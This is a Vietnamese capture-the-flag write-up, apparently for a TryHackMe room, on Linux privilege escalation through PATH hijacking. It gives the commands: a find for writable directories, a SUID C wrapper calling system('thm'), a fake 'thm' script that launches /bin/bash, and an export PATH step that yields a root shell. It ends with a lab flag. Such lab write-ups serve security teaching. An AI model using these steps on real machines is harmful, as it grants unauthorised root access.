Description
Linux Privilege Escalation
Sử dụng quyền ghi vào PATH để thực thi những script tùy ý bằng quyền root nhằm thu được flag.
Techniques
Khi ta nhập một câu lệnh thì hệ điều hành sẽ kiếm các đường dẫn có sẵn hoặc trong biến môi trường PATH. Ý tưởng của loại khai thác này chỉ đơn giản là ta sẽ thực thi một binary hoặc script được liệt kê ở trong PATH (ta tự thêm vào) bằng quyền root.
Đầu tiên, cần đảm bảo là ta có quyền ghi vào biến môi trường PATH.
Bước tiếp theo, ta cần phải tìm ra các thư mục mà ta có thể ghi để tạo exploit bằng cách sử dụng:
find / -writable 2>/dev/null | grep -v proc
Sau đó ta có thể tạo ra một đoạn code C để gọi thực thi binary hoặc script bất kỳ như sau ở trong thư mục vừa tìm được ở trên như sau:
#include <unistd.h>
void main() {
setuid(0);
setgid(0);
system("thm");
}
Giả sử ta đặt tên file chứa đoạn code trên là path.c
. Ta biên dịch và thêm bit s
cho nó như sau:
gcc path.c -o path
chmod u+s path
Ta cũng cần phải thêm một thư mục chứa file script cần thực thi, chẳng hạn /tmp
, vào PATH.
export PATH=/tmp:$PATH
Kế đến, tạo ra file một file script ở trong thư mục ta đã thêm vào PATH, giả sử /tmp
:
Chú ý rằng ta cần phải cấp tất cả các quyền cho file này.
Bước cuối cùng, gọi thực thi exploit và nó sẽ gọi đến file script ta vừa tạo ở /tmp
với quyền root.
Approach
Tìm được thư mục /home/murdoch
là có thể ghi được.
Vào thư mục này thì thấy có sẵn file test
là có bit s
. Khi thực thi thì nó báo là thm
không tồn tại.
Ta sẽ tạo ra file thm
và cấp quyền thực thi cho nó:
echo "/bin/bash" > thm
chmod 777 thm
Sau đó thêm đường dẫn /home/murdoch
vào PATH:
export PATH=/home/murdoch:$PATH
Chạy file test
và ta có được quyền root. Truy cập vào file /home/matt/flag6.txt
để thu được flag.
Flag
Success
THM-736628929